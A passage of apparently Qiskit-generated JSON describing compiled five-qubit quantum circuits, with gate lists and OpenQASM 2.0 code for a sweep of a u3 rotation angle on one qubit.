'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1235', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1237', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1239', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1241', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 